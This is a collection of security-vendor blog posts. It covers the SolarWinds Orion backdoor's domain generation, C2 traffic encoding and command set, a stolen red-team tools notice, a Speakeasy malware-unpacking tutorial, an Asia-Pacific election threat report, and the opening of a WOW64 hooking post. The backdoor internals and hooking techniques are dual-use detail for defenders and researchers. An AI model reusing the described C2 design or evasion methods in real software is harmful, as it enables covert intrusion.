If all blocklist and connectivity checks pass, the sample starts generating domains in a while loop via its DGA. The sample will delay for random intervals between the generation of domains; this interval may be any random value from the ranges 1 to 3 minutes, 30 to 120 minutes, or on error conditions up to 420 to 540 minutes (9 hours). The DNS A record of generated domains is checked against a hardcoded list of IP address blocks which control the malware’s behavior. Records within the following ranges will terminate the malware and update the configuration key ReportWatcherRetry to a value that prevents further execution:

• 10.0.0.0/8
• 172.16.0.0/12
• 192.168.0.0/16
• 224.0.0.0/3
• fc00:: - fe00::
• fec0:: - ffc0::
• ff00:: - ff00::
• 20.140.0.0/15
• 96.31.172.0/24
• 131.228.12.0/22
• 144.86.226.0/24

Once a domain has been successfully retrieved in a CNAME DNS response the sample will spawn a new thread of execution invoking the method HttpHelper.Initialize which is responsible for all C2 communications and dispatching. The HTTP thread begins by delaying for a configurable amount of time that is controlled by the SetTime command. The HTTP thread will delay for a minimum of 1 minute between callouts. The malware uses HTTP GET or HTTP POST requests. If the sample is attempting to send outbound data the content-type HTTP header will be set to "application/octet-stream" otherwise to "application/json".

A JSON payload is present for all HTTP POST and PUT requests and contains the keys “userId”, “sessionId”, and “steps”. The “steps” field contains a list of objects with the following keys: “Timestamp”, “Index”, “EventType”, “EventName”, “DurationMs”, “Succeeded”, and “Message”. The JSON key “EventType” is hardcoded to the value “Orion”, and the “EventName” is hardcoded to “EventManager”. Malware response messages to send to the server are DEFLATE compressed and single-byte-XOR encoded, then split among the “Message” fields in the “steps” array. Each “Message” value is Base64 encoded separately. Not all objects in the “steps” array contribute to the malware message – the integer in the “Timestamp” field must have the 0x2 bit set to indicate that the contents of the “Message” field are used in the malware message. Step objects whose bit 0x2 is clear in the Timestamp field contain random data and are discarded when assembling the malware response.

#### Steganography

In observed traffic these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: "\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}". Command data is spread across multiple strings that are disguised as GUID and HEX strings. All matched substrings in the response are filtered for non HEX characters, joined together, and HEX-decoded. The first DWORD value shows the actual size of the message, followed immediately with the message, with optional additional junk bytes following. The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed. The first character is an ASCII integer that maps to the JobEngine enum, with optional additional command arguments delimited by space characters.

Commands are then dispatched to a JobExecutionEngine based upon the command value as described next.

#### Supported Commands

 Command Value Operation Idle 0 No operation Exit 1 Terminate the current thread. SetTime 2 Sets the delay time between main event loop executions Delay is in seconds, and varies random between [.9 * , 1.1 * ].          If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes.         There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs] CollectSystemDescription 3 Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information. UploadSystemDescription 4 Perform a HTTP request to the specified URL, parse the results and compare components against unknown hashed values. Format a report and send to the C2 server. RunTask 5 Starts a new process with the given file path and arguments GetProcessByDescription 6 Returns a process listing. If no arguments are provided returns just the PID and process name.        If an argument is provided it also returns the parent PID and username and domain for the process owner. KillTask 7 Terminate the given process, by PID. GetFileSystemEntries 8 Given a path and an optional match pattern recursively list files and directories WriteFile 9 Given a file path and a Base64 encoded string write the contents of the Base64 decoded string to the given file path. Write using append mode. Delay for [1s, 2s] after writing is done. FileExists 10 Tests whether the given file path exists. DeleteFile 11 Deletes the specified file path. GetFileHash 12 Compute the MD5 of a file at a given path and return result as a HEX string. If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs. ReadRegistryValue 13 Arbitrary registry read from one of the supported hives SetRegistryValue 14 Arbitrary registry write from one of the supported hives. DeleteRegistryValue 15 Arbitrary registry delete from one of the supported hives GetRegistrySubKeyAndValueNames 16 Returns listing of subkeys and value names beneath the given registry path Reboot 17 Attempts to immediately trigger a system reboot.

#### Indicators and Detections to Help the Community

To empower the community to detect this supply chain backdoor, we are publishing indicators and detections to help organizations identify this backdoor and this threat actor. The signatures are a mix of Yara, IOC, and Snort formats.

A list of the detections and signatures are available on the FireEye GitHub repository found here. We are releasing detections and will continue to update the public repository with overlapping detections for host and network-based indicators as we develop new or refine existing ones. We have found multiple hashes with this backdoor and we will post updates of those hashes.

#### MITRE ATT&CK Techniques Observed

 ID Description T1012 Query Registry T1027 Obfuscated Files or Information T1057 Process Discovery T1070.004 File Deletion T1071.001 Web Protocols T1071.004 Application Layer Protocol: DNS T1083 File and Directory Discovery T1105 Ingress Tool Transfer T1132.001 Standard Encoding T1195.002 Compromise Software Supply Chain T1518 Software Discovery T1518.001 Security Software Discovery T1543.003 Windows Service T1553.002 Code Signing T1568.002 Domain Generation Algorithms T1569.002 Service Execution T1584 Compromise Infrastructure

#### Immediate Mitigation Recommendations

Prior to following SolarWind’s recommendation to utilize Orion Platform release 2020.2.1 HF 1, which is currently available via the SolarWinds Customer Portal, organizations should consider preserving impacted devices and building new systems using the latest versions. Applying an upgrade to an impacted box could potentially overwrite forensic evidence as well as leave any additional backdoors on the system. In addition, SolarWinds has released additional mitigation and hardening instructions here.

In the event you are unable to follow SolarWinds’ recommendations, the following are immediate mitigation techniques that could be deployed as first steps to address the risk of trojanized SolarWinds software in an environment. If attacker activity is discovered in an environment, we recommend conducting a comprehensive investigation and designing and executing a remediation strategy driven by the investigative findings and details of the impacted environment.

• Ensure that SolarWinds servers are isolated / contained until a further review and investigation is conducted. This should include blocking all Internet egress from SolarWinds servers.
• If SolarWinds infrastructure is not isolated, consider taking the following steps:
• Restrict scope of connectivity to endpoints from SolarWinds servers, especially those that would be considered Tier 0 / crown jewel assets
• Restrict the scope of accounts that have local administrator privileged on SolarWinds servers.
• Block Internet egress from servers or other endpoints with SolarWinds software.
• Consider (at a minimum) changing passwords for accounts that have access to SolarWinds servers / infrastructure. Based upon further review / investigation, additional remediation measures may be required.
• If SolarWinds is used to managed networking infrastructure, consider conducting a review of network device configurations for unexpected / unauthorized modifications. Note, this is a proactive measure due to the scope of SolarWinds functionality, not based on investigative findings.

#### Acknowledgements

This blog post was the combined effort of numerous personnel and teams across FireEye coming together. Special thanks to:

Andrew Archer, Doug Bienstock, Chris DiGiamo, Glenn Edwards, Nick Hornick, Alex Pennino, Andrew Rector, Scott Runnels, Eric Scales, Nalani Fraser, Sarah Jones, John Hultquist, Ben Read, Jon Leathery, Fred House, Dileep Jallepalli, Michael Sikorski, Stephen Eckels, William Ballenthin, Jay Smith, Alex Berry, Nick Richard, Isif Ibrahima, Dan Perez, Marcin Siedlarz, Ben Withnell, Barry Vengerik, Nicole Oppenheim, Ian Ahl, Andrew Thompson, Matt Dunwoody, Evan Reese, Steve Miller, Alyssa Rahman, John Gorman, Lennard Galang, Steve Stone, Nick Bennett, Matthew McWhirt, Mike Burns, Omer Baig.

Also special thanks to Nick Carr, Christopher Glyer, and Ramin Nafisi from Microsoft.

# Unauthorized Access of FireEye Red Team Tools

#### Overview

A highly sophisticated state-sponsored adversary stole FireEye Red Team tools. Because we believe that an adversary possesses these tools, and we do not know whether the attacker intends to use the stolen tools themselves or publicly disclose them, FireEye is releasing hundreds of countermeasures with this blog post to enable the broader security community to protect themselves against these tools. We have incorporated the countermeasures in our FireEye products—and shared these countermeasures with partners, government agencies—to significantly limit the ability of the bad actor to exploit the Red Team tools.

You can find a list of the countermeasures on the FireEye GitHub repository found HERE .

#### Red Team Tools and Techniques

A Red Team is a group of security professionals authorized and organized to mimic a potential adversary’s attack or exploitation capabilities against an enterprise’s security posture. Our Red Team’s objective is to improve enterprise cyber security by demonstrating the impacts of successful attacks and by showing the defenders (i.e., the Blue Team) how to counter them in an operational environment. We have been performing Red Team assessments for customers around the world for over 15 years. In that time, we have built up a set of scripts, tools, scanners, and techniques to help improve our clients’ security postures. Unfortunately, these tools were stolen by a highly sophisticated attacker.

The stolen tools range from simple scripts used for automating reconnaissance to entire frameworks that are similar to publicly available technologies such as CobaltStrike and Metasploit. Many of the Red Team tools have already been released to the community and are already distributed in our open-source virtual machine, CommandoVM.

Some of the tools are publicly available tools modified to evade basic security detection mechanisms. Other tools and frameworks were developed in-house for our Red Team.

#### No Zero-Day Exploits or Unknown Techniques

The Red Team tools stolen by the attacker did not contain zero-day exploits. The tools apply well-known and documented methods that are used by other red teams around the world. Although we do not believe that this theft will greatly advance the attacker’s overall capabilities, FireEye is doing everything it can to prevent such a scenario.

It’s important to note that FireEye has not seen these tools disseminated or used by any adversaries, and we will continue to monitor for any such activity along with our security partners.

#### Detections to Help the Community

To empower the community to detect these tools, we are publishing countermeasures to help organizations identify these tools if they appear in the wild. In response to the theft of our Red Team tools, we have released hundreds of countermeasures for publicly available technologies like OpenIOC, Yara, Snort, and ClamAV.

A list of the countermeasure is available on the FireEye GitHub repository found here. We are releasing detections and will continue to update the public repository with overlapping countermeasures for host, network, and file-based indicators as we develop new or refine existing detections. In addition, we are publishing a list of CVEs that need to be addressed to limit the effectiveness of the Red Team tools on the GitHub page.

#### FireEye Products Protect Customers Against These Tools

Teams across FireEye have worked to build the countermeasures to protect our customers and the broader community. We have incorporated these countermeasures into our products and shared these countermeasures with our partners, including the Department of Homeland Security, who have incorporated the countermeasures into their products to provide broad coverage for the community.

More information on the detection signatures available can be found in the GitHub repository.

# Using Speakeasy Emulation Framework Programmatically to Unpack Malware

Andrew Davis recently announced the public release of his new Windows emulation framework named Speakeasy. While the introductory blog post focused on using Speakeasy as an automated malware sandbox of sorts, this entry will highlight another powerful use of the framework: automated malware unpacking. I will demonstrate, with code examples, how Speakeasy can be used programmatically to:

• Bypass unsupported Windows APIs to continue emulation and unpacking
• Save virtual addresses of dynamically allocated code using API hooks
• Surgically direct execution to key areas of code using code hooks
• Dump an unpacked PE from emulator memory and fix its section headers
• Aid in reconstruction of import tables by querying Speakeasy for symbolic information

#### Initial Setup

One approach to interfacing with Speakeasy is to create a subclass of Speakeasy’s Speakeasy class. Figure 1 shows a Python code snippet that sets up such a class that will be expanded in upcoming examples.

 import speakeasy class MyUnpacker(speakeasy.Speakeasy):     def __init__(self, config=None):         super(MyUnpacker, self).__init__(config=config)

Figure 1: Creating a Speakeasy subclass

The code in Figure 1 accepts a Speakeasy configuration dictionary that may be used to override the default configuration. Speakeasy ships with several configuration files. The Speakeasy class is a wrapper class for an underlying emulator class. The emulator class is chosen automatically when a binary is loaded based on its PE headers or is specified as shellcode. Subclassing Speakeasy makes it easy to access, extend, or modify interfaces. It also facilitates reading and writing stateful data before, during, and after emulation.

#### Emulating a Binary

Figure 2 shows how to load a binary into the Speakeasy emulator.

The load_module function returns a PeFile object for the provided binary on disk. It is an instance of the PeFile class defined in speakeasy/windows/common.py, which is subclassed from pefile’s PE class. Alternatively, you can provide the bytes of a binary using the data parameter rather than specifying a file name. Figure 3 shows how to emulate a loaded binary.

 self.run_module(self.module)

Figure 3: Starting emulation

#### API Hooks

The Speakeasy framework ships with support for hundreds of Windows APIs with more being added frequently. This is accomplished via Python API handlers defined in appropriate files in the speakeasy/winenv/api directory. API hooks can be installed to have your own code executed when particular APIs are called during emulation. They can be installed for any API, regardless of whether a handler exists or not. An API hook can be used to override an existing handler and that handler can optionally be invoked from your hook. The API hooking mechanism in Speakeasy provides flexibility and control over emulation. Let’s examine a few uses of API hooking within the context of emulating unpacking code to retrieve an unpacked payload.

#### Bypassing Unsupported APIs

When Speakeasy encounters an unsupported Windows API call, it stops emulation and provides the name of the API function that is not supported. If the API function in question is not critical for unpacking the binary, you can add an API hook that simply returns a value that allows execution to continue. For example, a recent sample’s unpacking code contained API calls that had no effect on the unpacking process. One such API call was to GetSysColor. In order to bypass this call and allow execution to continue, an API hook may be added as shown in Figure 4.

Figure 4: Adding an API hook

According to MSDN, this function takes 1 parameter and returns an RGB color value represented as a DWORD. If the calling convention for the API function you are hooking is not stdcall, you can specify the calling convention in the optional call_conv parameter. The calling convention constants are defined in the speakeasy/common/arch.py file. Because the GetSysColor return value does not impact the unpacking process, we can simply return 0. Figure 5 shows the definition of the getsyscolor_hook function specified in Figure 4.

 def getsyscolor_hook(self, emu, api_name, func, params):             return 0

Figure 5: The GetSysColor hook returns 0

If an API function requires more finessed handling, you can implement a more specific and meaningful hook that suits your needs. If your hook implementation is robust enough, you might consider contributing it to the Speakeasy project as an API handler!

Within the speakeasy/winenv/api directory you'll find usermode and kernelmode subdirectories that contain Python files for corresponding binary modules. These files contain the API handlers for each module. In usermode/kernel32.py, we see a handler defined for SetEnvironmentVariable as shown in Figure 6.

 1: @apihook('SetEnvironmentVariable', argc=2) 2: def SetEnvironmentVariable(self, emu, argv, ctx={}): 3:     ''' 4:     BOOL SetEnvironmentVariable( 5:         LPCTSTR lpName, 6:         LPCTSTR lpValue 7:         ); 8:     ''' 9:     lpName, lpValue = argv 10:    cw = self.get_char_width(ctx) 11:    if lpName and lpValue: 12:        name = self.read_mem_string(lpName, cw) 13:        val = self.read_mem_string(lpValue, cw) 14:        argv[0] = name 15:        argv[1] = val 16:        emu.set_env(name, val) 17:    return True

Figure 6: API handler for SetEnvironmentVariable

A handler begins with a function decorator (line 1) that defines the name of the API and the number of parameters it accepts. At the start of a handler, it is good practice to include MSDN's documented prototype as a comment (lines 3-8).

The handler's code begins by storing elements of the argv parameter in variables named after their corresponding API parameters (line 9). The handler's ctx parameter is a dictionary that contains contextual information about the API call. For API functions that end in an ‘A’ or ‘W’ (e.g., CreateFileA), the character width can be retrieved by passing the ctx parameter to the get_char_width function (line 10). This width value can then be passed to calls such as read_mem_string (lines 12 and 13), which reads the emulator’s memory at a given address and returns a string.

It is good practice to overwrite string pointer values in the argv parameter with their corresponding string values (lines 14 and 15). This enables Speakeasy to display string values instead of pointer values in its API logs. To illustrate the impact of updating argv values, examine the Speakeasy output shown in Figure 7. In the VirtualAlloc entry, the symbolic constant string PAGE_EXECUTE_READWRITE replaces the value 0x40. In the GetModuleFileNameA and CreateFileA entries, pointer values are replaced with a file path.

 KERNEL32.VirtualAlloc(0x0, 0x2b400, 0x3000, "PAGE_EXECUTE_READWRITE") -> 0x7c000 KERNEL32.GetModuleFileNameA(0x0, "C:\\Windows\\system32\\sample.exe", 0x104) -> 0x58 KERNEL32.CreateFileA("C:\\Windows\\system32\\sample.exe", "GENERIC_READ", 0x1, 0x0, "OPEN_EXISTING", 0x80, 0x0) -> 0x84

Figure 7: Speakeasy API logs

#### Saving the Unpacked Code Address

Packed samples often use functions such as VirtualAlloc to allocate memory used to store the unpacked sample. An effective approach for capturing the location and size of the unpacked code is to first hook the memory allocation function used by the unpacking stub. Figure 8 shows an example of hooking VirtualAlloc to capture the virtual address and amount of memory being allocated by the API call.

 1: def virtualalloc_hook(self, emu, api_name, func, params): 2:     ''' 3:     LPVOID VirtualAlloc( 4:        LPVOID lpAddress, 5:        SIZE_T dwSize, 6:        DWORD  flAllocationType, 7:        DWORD  flProtect 8:      ); 9:     ''' 10:    PAGE_EXECUTE_READWRITE = 0x40 11:    lpAddress, dwSize, flAllocationType, flProtect = params 12:    rv = func(params) 13:    if lpAddress == 0 and flProtect == PAGE_EXECUTE_READWRITE: 14:        self.logger.debug("[*] unpack stub VirtualAlloc call, saving dump info") 15:        self.dump_addr = rv 16:        self.dump_size = dwSize 17:    return rv

Figure 8: VirtualAlloc hook to save memory dump information

The hook in Figure 8 calls Speakeasy’s API handler for VirtualAlloc on line 12 to allow memory to be allocated. The virtual address returned by the API handler is saved to a variable named rv. Since VirtualAlloc may be used to allocate memory not related to the unpacking process, additional checks are used on line 13 to confirm the intercepted VirtualAlloc call is the one used in the unpacking code. Based on prior analysis, we’re looking for a VirtualAlloc call that receives the lpAddress value 0 and the flProtect value PAGE_EXECUTE_READWRITE (0x40). If these arguments are present, the virtual address and specified size are stored on lines 15 and 16 so they may be used to extract the unpacked payload from memory after the unpacking code is finished. Finally, on line 17, the return value from the VirtualAlloc handler is returned by the hook.

#### Surgical Code Emulation Using API and Code Hooks

Speakeasy is a robust emulation framework; however, you may encounter binaries that have large sections of problematic code. For example, a sample may call many unsupported APIs or simply take far too long to emulate. An example of overcoming both challenges is described in the following scenario.

#### Unpacking Stubs Hiding in MFC Projects

A popular technique used to disguise malicious payloads involves hiding them inside a large, open-source MFC project. MFC is short for Microsoft Foundation Class, which is a popular library used to build Windows desktop applications. These MFC projects are often arbitrarily chosen from popular Web sites such as Code Project. While the MFC library makes it easy to create desktop applications, MFC applications are difficult to reverse engineer due to their size and complexity. They are particularly difficult to emulate due to their large initialization routine that calls many different Windows APIs. What follows is a description of my experience with writing a Python script using Speakeasy to automate unpacking of a custom packer that hides its unpacking stub within an MFC project.

Reverse engineering the packer revealed the unpacking stub is ultimately called during initialization of the CWinApp object, which occurs after initialization of the C runtime and MFC. After attempting to bypass unsupported APIs, I realized that, even if successful, emulation would take far too long to be practical. I considered skipping over the initialization code completely and jumping straight to the unpacking stub. Unfortunately, execution of the C-runtime initialization code was required in order for emulation of the unpacking stub to succeed.

My solution was to identify a location in the code that fell after the C-runtime initialization but was early in the MFC initialization routine. After examining the Speakeasy API log shown in Figure 9, such a location was easy to spot. The graphics-related API function GetDeviceCaps is invoked early in the MFC initialization routine. This was deduced based on 1) MFC is a graphics-dependent framework and 2) GetDeviceCaps is unlikely to be called during C-runtime initialization.

 0x43e0a7: 'kernel32.FlsGetValue(0x0)' -> 0x4150 0x43e0e3: 'kernel32.DecodePointer(0x7049)' -> 0x7048 0x43b16a: 'KERNEL32.HeapSize(0x4130, 0x0, 0x7000)' -> 0x90 0x43e013: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001 0x43e02a: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001 0x43e02c: 'kernel32.FlsGetValue(0x0)' -> 0x4150 0x43e068: 'kernel32.EncodePointer(0x44e215)' -> 0x44e216 0x43e013: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001 0x43e02a: 'KERNEL32.TlsGetValue(0x0)' -> 0xfeee0001 0x43e02c: 'kernel32.FlsGetValue(0x0)' -> 0x4150 0x43e068: 'kernel32.EncodePointer(0x704c)' -> 0x704d 0x43c260: 'KERNEL32.LeaveCriticalSection(0x466f28)' -> None 0x422151: 'USER32.GetSystemMetrics(0xb)' -> 0x1 0x422158: 'USER32.GetSystemMetrics(0xc)' -> 0x1 0x42215f: 'USER32.GetSystemMetrics(0x2)' -> 0x1 0x422169: 'USER32.GetSystemMetrics(0x3)' -> 0x1 0x422184: 'GDI32.GetDeviceCaps(0x288, 0x58)' -> None

Figure 9: Identifying beginning of MFC code in Speakeasy API logs

To intercept execution at this stage I created an API hook for GetDeviceCaps as shown in Figure 10. The hook confirms the function is being called for the first time on line 2.

 1: def mfc_init_hook(self, emu, api_name, func, params): 2:     if not self.trigger_hit: 3:         self.trigger_hit = True 4:         self.h_code_hook =   self.add_code_hook(self.start_unpack_func_hook) 5:         self.logger.debug("[*] MFC init api hit, starting unpack function")

Figure 10: API hook set for GetDeviceCaps

Line 4 shows the creation of a code hook using the add_code_hook function of the Speakeasy class. Code hooks allow you to specify a callback function that is called before each instruction that is emulated. Speakeasy also allows you to optionally specify an address range for which the code hook will be effective by specifying begin and end parameters.

After the code hook is added on line 4, the GetDeviceCaps hook completes and, prior to the execution of the sample's next instruction, the start_unpack_func_hook function is called. This function is shown in Figure 11.

 1: def start_unpack_func_hook(self, emu, addr, size, ctx): 2:     self.h_code_hook.disable() 3:     unpack_func_va = self.module.get_rva_from_offset(self.unpack_offs) + self.module.get_base() 4:     self.set_pc(unpack_func_va)

Figure 11: Code hook that changes the instruction pointer

The code hook receives the emulator object, the address and size of the current instruction, and the context dictionary (line 1). On line 2, the code hook disables itself. Because code hooks are executed with each instruction, this slows emulation significantly. Therefore, they should be used sparingly and disabled as soon as possible. On line 3, the hook calculates the virtual address of the unpacking function. The offset used to perform this calculation was located using a regular expression. This part of the example was omitted for the sake of brevity.

The self.module attribute was previously set in the example code shown in Figure 2. It being subclassed from the PE class of pefile allows us to access useful functions such as get_rva_from_offset() on line 3. This line also includes an example of using self.module.get_base() to retrieve the module's base virtual address.

Finally, on line 4, the instruction pointer is changed using the set_pc function and emulation continues at the unpacking code. The code snippets in Figure 10 and Figure 11 allowed us to redirect execution to the unpacking code after the C-runtime initialization completed and avoid MFC initialization code.

#### Dumping and Fixing Unpacked PEs

Once emulation has reached the original entry point of the unpacked sample, it is time to dump the PE and fix it up. Typically, a hook would save the base address of the unpacked PE in an attribute of the class as illustrated on line 15 of Figure 8. If the unpacked PE does not contain the correct entry point in its PE headers, the true entry point may also need to be captured during emulation. Figure 12 shows an example of how to dump emulator memory to a file.

Figure 12: Dumping the unpacked PE

If you are dumping a PE that has already been loaded in memory, it will not have the same layout as it does on disk due to differences in section alignment. As a result, the dumped PE's headers may need to be modified. One approach is to modify each section's PointerToRawData value to match its VirtualAddress field. Each section's SizeOfRawData value may need to be padded in order conform with the FileAlignment value specified in the PE’s optional headers. Keep in mind the resulting PE is unlikely to execute successfully. However, these efforts will allow most static analysis tools to function correctly.

The final step for repairing the dumped PE is to fix its import table. This is a complex task deserving of its own blog post and will not be discussed in detail here. However, the first step involves collecting a list of library function names and their addresses in emulator memory. If you know the GetProcAddress API is used by the unpacker stub to resolve imports for the unpacked PE, you can call the get_dyn_imports function as shown in Figure 13.

Figure 13: Retrieving dynamic imports

Otherwise, you can query the emulator class to retrieve its symbol information by calling the get_symbols function as shown in Figure 14.

 symbols = self.get_symbols()

Figure 14: Retrieve symbol information from emulator class

This data can be used to discover the IAT of the unpacked PE and fix or reconstruct its import related tables.

#### Putting It All Together

Writing a Speakeasy script to unpack a malware sample can be broken down into the following steps:

1. Reverse engineer the unpacking stub to identify: 1) where the unpacked code will reside or where its memory is allocated, 2) where execution is transferred to the unpacked code, and 3) any problematic code that may introduce issues such as unsupported APIs, slow emulation, or anti-analysis checks.
2. If necessary, set hooks to bypass problematic code.
3. Set a hook to identify the virtual address and, optionally, the size of the unpacked binary.
4. Set a hook to stop emulation at, or after, execution of the original entry point of the unpacked code.
5. Collect virtual addresses of Windows APIs and reconstruct the PE’s import table.
6. Fix the PE’s headers (if applicable) and write the bytes to a file for further analysis.

For an example of a script that unpacks UPX samples, check out the UPX unpacking script in the Speakeasy repository.

#### Conclusion

The Speakeasy framework provides an easy-to-use, flexible, and powerful programming interface that enables analysts to solve complex problems such as unpacking malware. Using Speakeasy to automate these solutions allows them to be performed at scale. I hope you enjoyed this introduction to automating the Speakeasy framework and are inspired to begin using it to implement your own malware analysis solutions!

# Election Cyber Threats in the Asia-Pacific Region

In democratic societies, elections are the mechanism for choosing heads of state and policymakers. There are strong incentives for adversary nations to understand the intentions and preferences of the people and parties that will shape a country's future path and to reduce uncertainty about likely winners. Mandiant Threat Intelligence regularly observes cyber espionage operations we believe to be seeking election-related information targeting governments, civil society, media, and technology organizations around the globe. We have also seen disruptive and destructive cyber attacks and propaganda campaigns seeking to undermine targeted governments and influence the outcomes of electoral contests.

The 2020 U.S. elections are currently drawing attention to election cyber risks, but 2020 has already hosted dozens of elections worldwide, with more to come. In the Asia-Pacific region these included elections in Taiwan, India, South Korea, and Singapore to name a few, with regional elections scheduled for Indonesia in December.

Given the prevalence of such activity worldwide and Mandiant's unique visibility into threat actor activity, we believe it is worthwhile to examine trends in adversary targeting of elections in a variety of regional contexts because the tactics, techniques, and procedures (TTPs) used in one region today may soon be deployed or mimicked in other regions.

#### Notable Electoral Targeting in Asia-Pacific Region

Mandiant Threat Intelligence tracked numerous elections-related incidents in the Asia-Pacific region in recent years. During this time, the most prolific regional actor was China, which we observed in more than 20 elections-related campaigns most frequently affecting Hong Kong and Taiwan. We believe that China's primary motives for elections targeting includes monitoring political developments, internal stability, and supporting Belt and Road Initiative (BRI) investments.

Examples of Chinese cyber espionage targeting electoral support organizations include:

• Targeting candidates and related staff associated with the November 2019 Hong Kong District Council elections with a malicious macro document.
• Targeting the Australian Parliament in February 2019, three months before the country's general elections.
• Compromising Cambodia's National Election Commission in mid-2018 based on the use of AIRBREAK malware by APT40, possibly looking to understand the impact of the election outcome on Belt and Road Initiative (BRI) plans. See our blog post for more details about this campaign.
• A spear phishing campaign targeting multiple government agencies in Southeast Asia in the spring of 2018 to deliver FIREPIT payloads. The nature of the lure material and targeting indicate the activity was potentially an effort to monitor an upcoming election in the affected country.

Specifically, Mandiant has observed multiple instances in which organizations such as electoral boards and commissions that support or help administer elections have been targeted. Both Russian and Chinese cyber espionage operations have targeted election administrators and government officials since at least 2014. Observed TTPs include phishing and strategic website compromise (SWC), also known as watering hole attacks.

For example, in the November 2019 activity targeting Hong Kong (previously referenced), Mandiant Threat Intelligence believes that candidates or related staff associated with the Hong Kong District Council elections were targeted with a malicious macro document just prior to the elections based on geolocation information, the spear-phishing lure, and other data.

Figure 1: Decoy content from phishing email

#### Elections Ecosystem

As our readers will know, Mandiant takes a specific approach to deconstructing attacks against elections, which we detailed in a previous blog post.

Our approach examines threats through the lens of risk posed at various levels of the elections ecosystem. We break the elections threat landscape into distinct attack surfaces to better allow our customers and partners to take action. These include the following:

• Electoral Platforms Affecting Public Opinion
• Electoral Process Support Organizations
• Core Electoral Process Systems

Figure 2: Attack surfaces associated with the electoral process

#### Top Target of Election Cyber Threat Activity: Public Opinion

Using our ecosystem taxonomy, based on activity observed from 2016 to 2019, Mandiant Threat Intelligence assesses that actors concentrated on "platforms affecting public opinion" much more often than "core election systems" such as voting machines, or "electoral support organizations" such as election commissions.

Figure 3: Electoral platforms affecting public opinions are most frequently targeted

Globally, we assess that actors continue to deploy disinformation in the form of fabricated news and hoaxes spread primarily via social media and counterfeit websites designed to mimic legitimate news organizations, which may be picked up by legitimate news organizations. In the last several years, we have seen influence operations use increasingly creative methods to blend their inauthentic messaging with legitimate speech (e.g., by interviewing, impersonating, and hiring legitimate journalists or experts, and sending letters to the editor to real publications).

Malicious actors create and spread disinformation with the intent to mislead an electorate by causing reputational damage to an individual or political party, or by casting doubt regarding a particular issue or political process. Influence campaigns also seek to exacerbate existing societal divisions.

In the Asia-Pacific region, Mandiant Threat Intelligence observed pro-China threat actors spoof Taiwanese media outlet TVBS (官方網站) to promote narratives in line with the People's Republic of China's (PRC's) political interests in a coordinated, inauthentic manner. The accounts use a variety of tactics in order to pose as Western media outlets, including the use of identical or near-identical usernames, display names, and profile photos as the accounts of the outlets they imitate.

Figure 4: @TVSBnews quote-tweets People's Daily video citing alleged U.S. interference in foreign elections

Public exposure of high-profile information operations, such as Russia's interference in the 2016 U.S. presidential election, has strengthened perceptions that such operations are effective. It also demonstrates the difficulty that open societies face in countering this threat, encouraging current and aspiring information operation sponsors to grow their efforts. We anticipate that influence operations conducted in support of the political interests of nation-states will increase in sophistication, volume, and diversity of actors through 2020 and beyond.

In the last 12 months, Mandiant Threat Intelligence observed and reported on information operations conducted in support of the political interests of numerous countries. During Singapore's 2020 general elections, the country's first "digital" election, Mandiant Threat Intelligence identified multiple inauthentic accounts. These accounts did not, however, appear to be acting in a coordinated manner.

#### Outlook and Implications

We expect that threat actors will continue to target entities associated with elections worldwide for the foreseeable future and may expand the scope of this activity as long as the potential rewards of these operations outweigh the risks. State-sponsored actors almost certainly view targeting the electoral process as an effective means of projecting power and collecting intelligence.

Furthermore, the continuous expansion of the social media landscape will likely encourage various actors to pursue information operations by promoting preferred narratives, including the use of propagating inauthentic or deceptive information. We have already seen tactics evolve to avoid detection and incorporate emerging technologies, such as "deepfake" or multimedia manipulation technology, to advance more believable and impactful information operations, and we expect these innovations to continue. Lower tech methods, such as outsourcing propaganda activities to real people hired specifically to spread false and misleading content, can hinder attribution efforts and potentially increase the effectiveness of operations if those people have a more specialized understanding of the information environment.

To battle election threats, there is an urgent need to increase public awareness of the threat and inculcate behaviors that reduce the risk of compromise or disruption. These include everything from rigorously securing email to implementing policy around notification of cyber incidents in the supply chain. In addition, governments can consider mandating digital imprint requirements for election campaigning, increasing fines for electoral fraud, and increasing transparency around digital political advertisements. Investment in news verification and screening methodologies on search and social media platforms as well as public education efforts equipping voters and students to distinguish trustworthy information from suspicions may also reduce the impact of influence operations.

# WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques

Microsoft is known for their backwards compatibility. When they rolled out the 64-bit variant of Windows years ago they needed to provide compatibility with existing 32-bit applications. In order to provide seamless execution regardless of application bitness, the WoW (Windows on Windows) system was coined. This layer, which will be referred to as ‘WOW64’ from here on out, is responsible for translating all Windows API calls from 32-bit userspace to the 64-bit operating system kernel. This blog post is broken up into two sections. First we start by diving deep into the WOW64 system. To do this, we trace a call from 32-bit userspace and follow the steps it takes to finally transition to the kernel. The second part of the post assesses two hooking techniques and their effectiveness. I will cover how this system works, the ways malware abuses it, and detail a mechanism by which all WoW syscalls can be hooked from userspace. Note that all information here is true as of Windows 10, version 2004 and in some cases has changed from how previous Windows versions were implemented.

#### Recognition

First and foremost, this is a topic which has existing research by multiple authors. This work was critical in efficient exploration of the internals and research would have taken much longer had these authors not publicly posted their awesome work. I would like to callout the following references:

• (wbenny): An extremely detailed view of WOW64 internals on ARM
• (ReWolf): A PoC heaven’s gate implementation
• (JustasMasiulis): A very clean C++ heaven’s gate implementation
• (MalwareTech): A WOW64 segmentation explanation

#### WOW64 Internals

To understand how the WOW64 system works internally we will explore the call sequence starting in 32-bit usermode before transitioning into the kernel from within a system DLL. Within these system DLLs the operating system will check arguments and eventually transition to a stub known as a syscall stub. This syscall stub is responsible for servicing the API call in the kernel. On a 64-bit system, the syscall stub is straightforward as it directly executes the syscall instruction as shown in Figure 1.

Figure 1: Native x64 Syscall Stub

Figure 2 shows a syscall stub for a 32-bit process running on WOW64

Figure 2: WOW64 Syscall Stub

